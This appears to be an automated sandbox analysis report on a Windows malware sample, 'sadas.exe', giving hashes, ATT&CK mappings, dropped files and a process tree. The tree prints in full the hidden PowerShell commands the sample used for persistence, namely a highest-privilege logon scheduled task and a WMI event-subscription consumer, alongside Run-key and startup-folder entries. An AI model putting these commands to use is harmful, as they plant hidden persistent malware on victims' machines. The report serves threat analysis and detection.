d5b58e92542e7e584f380a3dda541cd78eea6145c7056b0cf6f69693c8a452c0

Analysis

user interaction
yes
max time kernel
898s
max time network
612s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/04/2026, 19:10

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General

Target
sadas.exe
Size 24.3MB
Sample260427-xvrfmact2m
SHA256 d5b58e92542e7e584f380a3dda541cd78eea6145c7056b0cf6f69693c8a452c0
MD5 c22b326d38b49ce3384c7d1f644669e1
SHA1 9a47c25a0e0fee622ed544954746230fd1dcd1fd
SHA512 e2cdd3b8889af2ecc5f1a223b8124096c2e01a1d0b4837ab2702dfd3ca8be3398511142f61d0e737e92a10abccede319f391a416fe7166333bee3fe57fecb8ac
SSDEEP 196608:EIb/hQYZltSP76ulTL3T03qmd9vjB+Ll4g:E2pQYXmvcqmfvjBQl
TLSH
T169472A63F8921D94D4EAC170C772516BBAB63C191B7813E71690F3201F3ABE09BB6B51
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4872	powershell.exe
5916	powershell.exe
5076	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-3708169602.tmp	sadas.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1682136477.tmp	winiogon.exe

Executes dropped EXE 1 IoCs

pid	Process
5364	winiogon.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-13bec066 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\winiogon.exe\""	sadas.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-13bec066 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\winiogon.exe\""	winiogon.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	sadas.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	sadas.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4872	powershell.exe
4872	powershell.exe
5916	powershell.exe
5916	powershell.exe
5076	powershell.exe
5076	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeIncreaseQuotaPrivilege	4872	powershell.exe
Token: SeSecurityPrivilege	4872	powershell.exe
Token: SeTakeOwnershipPrivilege	4872	powershell.exe
Token: SeLoadDriverPrivilege	4872	powershell.exe
Token: SeSystemProfilePrivilege	4872	powershell.exe
Token: SeSystemtimePrivilege	4872	powershell.exe
Token: SeProfSingleProcessPrivilege	4872	powershell.exe
Token: SeIncBasePriorityPrivilege	4872	powershell.exe
Token: SeCreatePagefilePrivilege	4872	powershell.exe
Token: SeBackupPrivilege	4872	powershell.exe
Token: SeRestorePrivilege	4872	powershell.exe
Token: SeShutdownPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeSystemEnvironmentPrivilege	4872	powershell.exe
Token: SeRemoteShutdownPrivilege	4872	powershell.exe
Token: SeUndockPrivilege	4872	powershell.exe
Token: SeManageVolumePrivilege	4872	powershell.exe
Token: 33	4872	powershell.exe
Token: 34	4872	powershell.exe
Token: 35	4872	powershell.exe
Token: 36	4872	powershell.exe
Token: SeDebugPrivilege	5916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4872	powershell.exe
Token: SeSecurityPrivilege	4872	powershell.exe
Token: SeTakeOwnershipPrivilege	4872	powershell.exe
Token: SeLoadDriverPrivilege	4872	powershell.exe
Token: SeSystemProfilePrivilege	4872	powershell.exe
Token: SeSystemtimePrivilege	4872	powershell.exe
Token: SeProfSingleProcessPrivilege	4872	powershell.exe
Token: SeIncBasePriorityPrivilege	4872	powershell.exe
Token: SeCreatePagefilePrivilege	4872	powershell.exe
Token: SeBackupPrivilege	4872	powershell.exe
Token: SeRestorePrivilege	4872	powershell.exe
Token: SeShutdownPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeSystemEnvironmentPrivilege	4872	powershell.exe
Token: SeRemoteShutdownPrivilege	4872	powershell.exe
Token: SeUndockPrivilege	4872	powershell.exe
Token: SeManageVolumePrivilege	4872	powershell.exe
Token: 33	4872	powershell.exe
Token: 34	4872	powershell.exe
Token: 35	4872	powershell.exe
Token: 36	4872	powershell.exe
Token: SeIncreaseQuotaPrivilege	4872	powershell.exe
Token: SeSecurityPrivilege	4872	powershell.exe
Token: SeTakeOwnershipPrivilege	4872	powershell.exe
Token: SeLoadDriverPrivilege	4872	powershell.exe
Token: SeSystemProfilePrivilege	4872	powershell.exe
Token: SeSystemtimePrivilege	4872	powershell.exe
Token: SeProfSingleProcessPrivilege	4872	powershell.exe
Token: SeIncBasePriorityPrivilege	4872	powershell.exe
Token: SeCreatePagefilePrivilege	4872	powershell.exe
Token: SeBackupPrivilege	4872	powershell.exe
Token: SeRestorePrivilege	4872	powershell.exe
Token: SeShutdownPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeSystemEnvironmentPrivilege	4872	powershell.exe
Token: SeRemoteShutdownPrivilege	4872	powershell.exe
Token: SeUndockPrivilege	4872	powershell.exe
Token: SeManageVolumePrivilege	4872	powershell.exe
Token: 33	4872	powershell.exe
Token: 34	4872	powershell.exe
Token: 35	4872	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 4872	4628	sadas.exe	85
PID 5364 wrote to memory of 5916	5364	winiogon.exe	89
PID 5364 wrote to memory of 5076	5364	winiogon.exe	92

C:\Users\Admin\AppData\Local\Temp\sadas.exe
"C:\Users\Admin\AppData\Local\Temp\sadas.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'winiogon_5ff9224e' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4872

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'winiogon_5ff9224e' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'winiogon_f5ff9224e'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'winiogon_c5ff9224e'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='winiogon_f5ff9224e'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='winiogon_c5ff9224e'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c2791502090360772d9c88e32548a7c70c1598fc9c99b35161e6e3862071ab91
MD5 7114c58dc556bd04e7ef4f467b783cb0
SHA1 87beb78605d489e8be3ee1cb0659e94380f5ccb5
SHA512 bb4986ad82802b8fa6dc1661b7e93851cc08f785f89e7b8b500c8bb47319879821a9e97cfc4b15dddc9fdcc8d642adb9a703993a635d7825455d4098b37848bf
TLSH
T108217823B39D8820CCD5153A509D9C5072A682C781DFCF9F6EC0C21191BFAC8CB21190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_xff0tmjs.fi0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xff0tmjs.fi0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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agent-1067943512.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-1067943512.tmp
Size 24.3MB
SHA256 d5b58e92542e7e584f380a3dda541cd78eea6145c7056b0cf6f69693c8a452c0
MD5 c22b326d38b49ce3384c7d1f644669e1
SHA1 9a47c25a0e0fee622ed544954746230fd1dcd1fd
SHA512 e2cdd3b8889af2ecc5f1a223b8124096c2e01a1d0b4837ab2702dfd3ca8be3398511142f61d0e737e92a10abccede319f391a416fe7166333bee3fe57fecb8ac
SSDEEP 196608:EIb/hQYZltSP76ulTL3T03qmd9vjB+Ll4g:E2pQYXmvcqmfvjBQl
TLSH
T169472A63F8921D94D4EAC170C772516BBAB63C191B7813E71690F3201F3ABE09BB6B51
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4628-46-0x00007FF70B880000-0x00007FF70F1AF000-memory.dmp

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memory/4628-107-0x00007FF70B880000-0x00007FF70F1AF000-memory.dmp

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memory/4628-106-0x00007FF70B880000-0x00007FF70F1AF000-memory.dmp

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memory/4628-77-0x00007FF70B880000-0x00007FF70F1AF000-memory.dmp

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memory/4628-76-0x00007FF70B880000-0x00007FF70F1AF000-memory.dmp

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memory/4872-7-0x0000015E417E0000-0x0000015E41802000-memory.dmp

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memory/4872-28-0x0000015E29130000-0x0000015E2913C000-memory.dmp

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memory/4872-6-0x0000015E278F0000-0x0000015E27900000-memory.dmp

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memory/5076-44-0x0000025A14D10000-0x0000025A14D1C000-memory.dmp

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memory/5364-45-0x00007FF783A10000-0x00007FF78733F000-memory.dmp

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memory/5916-34-0x00000225EA2E0000-0x00000225EA2EC000-memory.dmp

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